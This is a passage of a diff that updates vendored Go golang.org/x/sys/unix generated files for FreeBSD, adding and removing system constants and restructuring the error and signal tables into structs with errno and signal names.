- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-+ IFCAP_WOL_MAGIC = 0x2000
- IFF_ALLMULTI = 0x200
- IFF_ALTPHYS = 0x4000
- IFF_BROADCAST = 0x2
-@@ -630,6 +670,7 @@ const (
- IFF_MONITOR = 0x40000
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-+ IFF_NOGROUP = 0x800000
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PPROMISC = 0x20000
-@@ -804,6 +845,7 @@ const (
- IPV6_DSTOPTS = 0x32
- IPV6_FLOWID = 0x43
- IPV6_FLOWINFO_MASK = 0xffffff0f
-+ IPV6_FLOWLABEL_LEN = 0x14
- IPV6_FLOWLABEL_MASK = 0xffff0f00
- IPV6_FLOWTYPE = 0x44
- IPV6_FRAGTTL = 0x78
-@@ -824,13 +866,13 @@ const (
- IPV6_MAX_GROUP_SRC_FILTER = 0x200
- IPV6_MAX_MEMBERSHIPS = 0xfff
- IPV6_MAX_SOCK_SRC_FILTER = 0x80
-- IPV6_MIN_MEMBERSHIPS = 0x1f
- IPV6_MMTU = 0x500
- IPV6_MSFILTER = 0x4a
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
- IPV6_MULTICAST_LOOP = 0xb
- IPV6_NEXTHOP = 0x30
-+ IPV6_ORIGDSTADDR = 0x48
- IPV6_PATHMTU = 0x2c
- IPV6_PKTINFO = 0x2e
- IPV6_PORTRANGE = 0xe
-@@ -842,6 +884,7 @@ const (
- IPV6_RECVFLOWID = 0x46
- IPV6_RECVHOPLIMIT = 0x25
- IPV6_RECVHOPOPTS = 0x27
-+ IPV6_RECVORIGDSTADDR = 0x48
- IPV6_RECVPATHMTU = 0x2b
- IPV6_RECVPKTINFO = 0x24
- IPV6_RECVRSSBUCKETID = 0x47
-@@ -902,10 +945,8 @@ const (
- IP_MAX_MEMBERSHIPS = 0xfff
- IP_MAX_SOCK_MUTE_FILTER = 0x80
- IP_MAX_SOCK_SRC_FILTER = 0x80
-- IP_MAX_SOURCE_FILTER = 0x400
- IP_MF = 0x2000
- IP_MINTTL = 0x42
-- IP_MIN_MEMBERSHIPS = 0x1f
- IP_MSFILTER = 0x4a
- IP_MSS = 0x240
- IP_MULTICAST_IF = 0x9
-@@ -915,6 +956,7 @@ const (
- IP_OFFMASK = 0x1fff
- IP_ONESBCAST = 0x17
- IP_OPTIONS = 0x1
-+ IP_ORIGDSTADDR = 0x1b
- IP_PORTRANGE = 0x13
- IP_PORTRANGE_DEFAULT = 0x0
- IP_PORTRANGE_HIGH = 0x1
-@@ -923,6 +965,7 @@ const (
- IP_RECVFLOWID = 0x5d
- IP_RECVIF = 0x14
- IP_RECVOPTS = 0x5
-+ IP_RECVORIGDSTADDR = 0x1b
- IP_RECVRETOPTS = 0x6
- IP_RECVRSSBUCKETID = 0x5e
- IP_RECVTOS = 0x44
-@@ -944,6 +987,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -969,6 +1016,7 @@ const (
- MAP_EXCL = 0x4000
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-+ MAP_GUARD = 0x2000
- MAP_HASSEMAPHORE = 0x200
- MAP_NOCORE = 0x20000
- MAP_NOSYNC = 0x800
-@@ -980,8 +1028,62 @@ const (
- MAP_RESERVED0100 = 0x100
- MAP_SHARED = 0x1
- MAP_STACK = 0x400
-+ MCAST_BLOCK_SOURCE = 0x54
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x50
-+ MCAST_JOIN_SOURCE_GROUP = 0x52
-+ MCAST_LEAVE_GROUP = 0x51
-+ MCAST_LEAVE_SOURCE_GROUP = 0x53
-+ MCAST_UNBLOCK_SOURCE = 0x55
-+ MCAST_UNDEFINED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UNTRUSTED = 0x800000000
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0xad8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VERIFIED = 0x400000000
-+ MNT_VISFLAGMASK = 0xffef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1006,8 +1108,10 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x40
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
-+ NOTE_ABSTIME = 0x10
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
- NOTE_CLOSE = 0x100
-@@ -1162,7 +1266,6 @@ const (
- RTV_WEIGHT = 0x100
- RT_ALL_FIBS = -0x1
- RT_BLACKHOLE = 0x40
-- RT_CACHING_CONTEXT = 0x1
- RT_DEFAULT_FIB = 0x0
- RT_HAS_GW = 0x80
- RT_HAS_HEADER = 0x10
-@@ -1172,15 +1275,17 @@ const (
- RT_LLE_CACHE = 0x100
- RT_MAY_LOOP = 0x8
- RT_MAY_LOOP_BIT = 0x3
-- RT_NORTREF = 0x2
- RT_REJECT = 0x20
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
- RUSAGE_THREAD = 0x1
- SCM_BINTIME = 0x4
- SCM_CREDS = 0x3
-+ SCM_MONOTONIC = 0x6
-+ SCM_REALTIME = 0x5
- SCM_RIGHTS = 0x1
- SCM_TIMESTAMP = 0x2
-+ SCM_TIME_INFO = 0x7
- SHUT_RD = 0x0
- SHUT_RDWR = 0x2
- SHUT_WR = 0x1
-@@ -1196,6 +1301,7 @@ const (
- SIOCGETSGCNT = 0xc0207210
- SIOCGETVIFCNT = 0xc028720f
- SIOCGHIWAT = 0x40047301
-+ SIOCGHWADDR = 0xc020693e
- SIOCGI2C = 0xc020693d
- SIOCGIFADDR = 0xc0206921
- SIOCGIFBRDADDR = 0xc0206923
-@@ -1217,8 +1323,11 @@ const (
- SIOCGIFPDSTADDR = 0xc0206948
- SIOCGIFPHYS = 0xc0206935
- SIOCGIFPSRCADDR = 0xc0206947
-+ SIOCGIFRSSHASH = 0xc0186997
-+ SIOCGIFRSSKEY = 0xc0946996
- SIOCGIFSTATUS = 0xc331693b
- SIOCGIFXMEDIA = 0xc030698b
-+ SIOCGLANPCP = 0xc0206998
- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGPRIVATE_0 = 0xc0206950
-@@ -1249,6 +1358,7 @@ const (
- SIOCSIFPHYS = 0x80206936
- SIOCSIFRVNET = 0xc020695b
- SIOCSIFVNET = 0xc020695a
-+ SIOCSLANPCP = 0x80206999
- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSTUNFIB = 0x8020695f
-@@ -1267,6 +1377,7 @@ const (
- SO_BINTIME = 0x2000
- SO_BROADCAST = 0x20
- SO_DEBUG = 0x1
-+ SO_DOMAIN = 0x1019
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
- SO_KEEPALIVE = 0x8
-@@ -1275,6 +1386,7 @@ const (
- SO_LISTENINCQLEN = 0x1013
- SO_LISTENQLEN = 0x1012
- SO_LISTENQLIMIT = 0x1011
-+ SO_MAX_PACING_RATE = 0x1018
- SO_NOSIGPIPE = 0x800
- SO_NO_DDP = 0x8000
- SO_NO_OFFLOAD = 0x4000
-@@ -1287,15 +1399,52 @@ const (
- SO_RCVTIMEO = 0x1006
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
-+ SO_REUSEPORT_LB = 0x10000
- SO_SETFIB = 0x1014
- SO_SNDBUF = 0x1001
- SO_SNDLOWAT = 0x1003
- SO_SNDTIMEO = 0x1005
- SO_TIMESTAMP = 0x400
-+ SO_TS_BINTIME = 0x1
-+ SO_TS_CLOCK = 0x1017
-+ SO_TS_CLOCK_MAX = 0x3
-+ SO_TS_DEFAULT = 0x0
-+ SO_TS_MONOTONIC = 0x3
-+ SO_TS_REALTIME = 0x2
-+ SO_TS_REALTIME_MICRO = 0x0
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1306,10 +1455,45 @@ const (
- TCOFLUSH = 0x2
- TCOOFF = 0x1
- TCOON = 0x2
-+ TCP_BBR_ACK_COMP_ALG = 0x448
-+ TCP_BBR_DRAIN_INC_EXTRA = 0x43c
-+ TCP_BBR_DRAIN_PG = 0x42e
-+ TCP_BBR_EXTRA_GAIN = 0x449
-+ TCP_BBR_IWINTSO = 0x42b
-+ TCP_BBR_LOWGAIN_FD = 0x436
-+ TCP_BBR_LOWGAIN_HALF = 0x435
-+ TCP_BBR_LOWGAIN_THRESH = 0x434
-+ TCP_BBR_MAX_RTO = 0x439
-+ TCP_BBR_MIN_RTO = 0x438
-+ TCP_BBR_ONE_RETRAN = 0x431
-+ TCP_BBR_PACE_CROSS = 0x442
-+ TCP_BBR_PACE_DEL_TAR = 0x43f
-+ TCP_BBR_PACE_PER_SEC = 0x43e
-+ TCP_BBR_PACE_SEG_MAX = 0x440
-+ TCP_BBR_PACE_SEG_MIN = 0x441
-+ TCP_BBR_PROBE_RTT_GAIN = 0x44d
-+ TCP_BBR_PROBE_RTT_INT = 0x430
-+ TCP_BBR_PROBE_RTT_LEN = 0x44e
-+ TCP_BBR_RACK_RTT_USE = 0x44a
-+ TCP_BBR_RECFORCE = 0x42c
-+ TCP_BBR_REC_OVER_HPTS = 0x43a
-+ TCP_BBR_RETRAN_WTSO = 0x44b
-+ TCP_BBR_RWND_IS_APP = 0x42f
-+ TCP_BBR_STARTUP_EXIT_EPOCH = 0x43d
-+ TCP_BBR_STARTUP_LOSS_EXIT = 0x432
-+ TCP_BBR_STARTUP_PG = 0x42d
-+ TCP_BBR_UNLIMITED = 0x43b
-+ TCP_BBR_USEDEL_RATE = 0x437
-+ TCP_BBR_USE_LOWGAIN = 0x433
- TCP_CA_NAME_MAX = 0x10
- TCP_CCALGOOPT = 0x41
- TCP_CONGESTION = 0x40
-+ TCP_DATA_AFTER_CLOSE = 0x44c
-+ TCP_DELACK = 0x48
- TCP_FASTOPEN = 0x401
-+ TCP_FASTOPEN_MAX_COOKIE_LEN = 0x10
-+ TCP_FASTOPEN_MIN_COOKIE_LEN = 0x4
-+ TCP_FASTOPEN_PSK_LEN = 0x10
- TCP_FUNCTION_BLK = 0x2000
- TCP_FUNCTION_NAME_LEN_MAX = 0x20
- TCP_INFO = 0x20
-@@ -1317,6 +1501,12 @@ const (
- TCP_KEEPIDLE = 0x100
- TCP_KEEPINIT = 0x80
- TCP_KEEPINTVL = 0x200
-+ TCP_LOG = 0x22
-+ TCP_LOGBUF = 0x23
-+ TCP_LOGDUMP = 0x25
-+ TCP_LOGDUMPID = 0x26
-+ TCP_LOGID = 0x24
-+ TCP_LOG_ID_LEN = 0x40
- TCP_MAXBURST = 0x4
- TCP_MAXHLEN = 0x3c
- TCP_MAXOLEN = 0x28
-@@ -1332,8 +1522,30 @@ const (
- TCP_NOPUSH = 0x4
- TCP_PCAP_IN = 0x1000
- TCP_PCAP_OUT = 0x800
-+ TCP_RACK_EARLY_RECOV = 0x423
-+ TCP_RACK_EARLY_SEG = 0x424
-+ TCP_RACK_IDLE_REDUCE_HIGH = 0x444
-+ TCP_RACK_MIN_PACE = 0x445
-+ TCP_RACK_MIN_PACE_SEG = 0x446
-+ TCP_RACK_MIN_TO = 0x422
-+ TCP_RACK_PACE_ALWAYS = 0x41f
-+ TCP_RACK_PACE_MAX_SEG = 0x41e
-+ TCP_RACK_PACE_REDUCE = 0x41d
-+ TCP_RACK_PKT_DELAY = 0x428
-+ TCP_RACK_PROP = 0x41b
-+ TCP_RACK_PROP_RATE = 0x420
-+ TCP_RACK_PRR_SENDALOT = 0x421
-+ TCP_RACK_REORD_FADE = 0x426
-+ TCP_RACK_REORD_THRESH = 0x425
-+ TCP_RACK_SESS_CWV = 0x42a
-+ TCP_RACK_TLP_INC_VAR = 0x429
-+ TCP_RACK_TLP_REDUCE = 0x41c
-+ TCP_RACK_TLP_THRESH = 0x427
-+ TCP_RACK_TLP_USE = 0x447
- TCP_VENDOR = 0x80000000
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
- TIOCCONS = 0x80047462
-@@ -1397,6 +1609,8 @@ const (
- TIOCTIMESTAMP = 0x40107459
- TIOCUCNTL = 0x80047466
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1570,138 +1784,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go
-index c5c6f13e..e4719873 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go
-@@ -3,7 +3,7 @@
-
- // +build arm,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc144648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x804c6490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc06c648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -615,6 +633,7 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -951,6 +970,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -989,6 +1012,49 @@ const (
- MAP_STACK = 0x400
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0x2d8d0807e
